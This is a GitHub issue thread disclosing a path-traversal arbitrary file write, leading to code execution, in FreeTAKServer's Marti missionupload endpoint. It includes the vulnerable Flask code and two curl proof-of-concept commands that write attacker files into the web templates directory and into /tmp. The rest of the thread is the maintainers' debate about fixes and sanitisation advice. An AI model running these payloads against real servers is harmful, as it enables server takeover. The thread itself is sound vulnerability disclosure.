FreeTAKTeam / FreeTakServer

Situational Awareness Server compatible with TAK clients
Eclipse Public License 2.0
649 stars 166 forks source link

Arbitrary File Write End User Device (Marti API) (Remote Code Execution) #293

Closed Securitybits-io closed 9 months ago

Securitybits-io commented 2 years ago
End User Device MissionUpload

This attack is done through the Marti RestAPI which is specific to EUDs, which have been abused over the TCP/8080 or the SSL equivalent (Given a valid user certificate) TCP/8443.

The difference between the WebUI way and the Marti way is that it does not add junk at the end of the file, as the EUDs are responsible for creating valid DataPackages.

Function Sourcecode:

@app.route('/Marti/sync/missionupload', methods=[const.POST])
def upload():
    from FreeTAKServer.model.ServiceObjects.SSLDataPackageVariables import SSLDataPackageVariables
    logger.info('dataoackage upload started')
    file_hash = request.args.get('hash')
    app.logger.info(f"Data Package hash = {str(file_hash)}")
    letters = string.ascii_letters
    uid = ''.join(random.choice(letters) for i in range(4))
    uid = 'uid-' + str(uid)
    filename = request.args.get('filename')
    creatorUid = request.args.get('creatorUid')
    file = request.files.getlist('assetfile')[0]
    directory = Path(dp_directory, file_hash)
    if not Path.exists(directory):
        os.mkdir(str(directory))
    file.save(os.path.join(str(directory), filename))
    fileSize = Path(str(directory), filename).stat().st_size
    callsign = str(
        FlaskFunctions().getSubmissionUser(creatorUid,
                                           dbController))  # fetchone() gives a tuple, so only grab the first element
    FlaskFunctions().create_dp(dbController, uid=uid, Name=filename, Hash=file_hash, SubmissionUser=callsign,
                               CreatorUid=creatorUid, Size=fileSize)
    if USINGSSL == False:
        return "http://" + IP + ':' + str(HTTPPORT) + "/Marti/api/sync/metadata/" + file_hash + "/tool"

    else:
        return "https://" + IP + ':' + str(HTTPPORT) + "/Marti/api/sync/metadata/" + file_hash + "/tool"

Whats visible in the vulnerable code block is that the parameter filename is passed to os.path.join((str(directory), filename)) which when supplied alot of ../ (8 to be exact) it puts the base directory at the root of the filesystem and then the file is put wherever its directed (given write permissions)

Proof of Concept
curl -vvv -F "assetfile=@rce.html" "http://atak.FreeTAKServer.com:8080/Marti/sync/missionupload?hash=/../../../../../../../usr/local/lib/python3.8/dist-packages/FreeTAKServer-UI/app/home/templates/&filename=janne2.html&creatorUid="

Sending the file contents to the missionupload endpoint results in a valid response and browsing to the file on the WebUI results in Code Execution:
arbitrary-file-write_marti_curl

The file will be uploaded to /usr/local/lib/python3.8/dist-packages/FreeTAKServer-UI/app/home/templates which is where the Flask server is hosting its files from.

arbitrary-file-write_marti_result

brothercorvo commented 2 years ago

fixed in 1.9.8.5

Securitybits-io commented 2 years ago

Suggest to re-open this issue as the suggested fix does not in fact fix the arbitrary file upload vulnerability Tested on a clean install of the updated program which contain the "validate_hash" function. By appending a "hash=a" to the POST request you bypass the validate hash function as it is a Regexp looking for a-zA-Z0-9 Which removes the ability to direct the location of the written file Though the missionupload still trusts the input in the filename parameter, there you can put the files location on the filesystem and still able to place the file wherever! curl -F "assetfile=@test.file" "http://10.0.51.150:8080/Marti/sync/missionupload?hash=a&filename=/../../../../../../.. /tmp/test.file&creatorUid=" image

image

brothercorvo commented 2 years ago

We will reopen it, but as described before, this is a minor issue, compared to the fact that anyone with access to the network can do real damage. TAK is created to run on SSL, so the attacker should have a valid credential to perform the above

Securitybits-io commented 2 years ago

Agreed that the server should run behind a Zerotier network, and preferably with SSL to protect the users etc. Though even if this is tested on the non SSL port, the vulnerability is still present regardless of SSL or not! And while everyone should be trusted on the network, it is not a good situation when, even a trusted user, can take over the infrastructure through these kind of vulnerabilities!

brothercorvo commented 2 years ago

Not correct. The standard deployment has the service shutdown so the port is not there

On Sat., Mar. 12, 2022, 6:03 p.m. Christoffer Claesson, < @.***> wrote:

Agreed that the server should run behind a Zerotier network, and preferably with SSL to protect the users etc. Though even if this is tested on the non SSL port, the vulnerability is still present regardless of SSL or not! And while everyone should be trusted on the network, it is not a good situation when, even a trusted user, can take over the infrastructure through these kind of vulnerabilities!

— Reply to this email directly, view it on GitHub https://github.com/FreeTAKTeam/FreeTakServer/issues/293#issuecomment-1065972650, or unsubscribe https://github.com/notifications/unsubscribe-auth/AOPIAPKWHFZ34AMR2CP5SI3U7UIEXANCNFSM5ORCSNGA . Triage notifications on the go with GitHub Mobile for iOS https://apps.apple.com/app/apple-store/id1477376905?ct=notification-email&mt=8&pt=524675 or Android https://play.google.com/store/apps/details?id=com.github.android&referrer=utm_campaign%3Dnotification-email%26utm_medium%3Demail%26utm_source%3Dgithub.

You are receiving this because you modified the open/close state.Message ID: @.***>

Securitybits-io commented 2 years ago

Again i'd beg to differ so please correct me where i am wrong! I did follow the installation guide in the documentation Prompting for the "first start" i pressed enter for all the settings, resulting in a FTSConfig.yaml file! While i agree that the yaml does not specify a FTS_DP port or there of. the service is still started and listening to incoming traffic image

image

brothercorvo commented 2 years ago

Ports open when you install the software: image

Configure services image

Ports active after configuration: image

Securitybits-io commented 2 years ago

Since the SSL DP Service uses the same API call it is still vulnerable! I just used the TCP DP port for brevity's sake as you can make simple PoCs so whatever you sanitize on the TCP will still work for the SSL!

brothercorvo commented 2 years ago

@Securitybits-io the SSL DP service now requires a valid certs

Securitybits-io commented 2 years ago

I mean, will there be a patch in 1.9.9 for input sanitization? The issue is not an authorization issue, but thats cool it is now requiring cert based auth for SSL DP. In this case as previously mention in the GH Issue is that the user data is not sanitized in the missionupload function, regardless of SSL or TCP.

You can make some assumptions regarding the data that is sent to the server for that API endpoint and construct some conditional statements in order to break and return a '50# Invalid file sent' much like you did for the hash argument.

For example you know that

  1. The file is always a certain set of deterministic file types, think like, Zip, kml, jpg etc.
  2. the filename argument should not contain / or \ as is a common way of path traversal in filesystems.
  3. You can enforce a certain directory that the file is supposed to be placed in which is relevant, that you can hardcode

This is generally a good requirement to have on all endpoints which a user can control the input on! This can be a helpful resource, especially in this case: https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html

naman108 commented 2 years ago

@Securitybits-io working on applying these fixes, just doing a review of all user input locations so that it's not whack-a-mole with issues

naman108 commented 2 years ago

before this can be closed we need to establish a sustainable and tested fix for the filename serialization and probably user input validation in general, any input would be appreciated

brothercorvo commented 9 months ago

closing for now, because we got no further input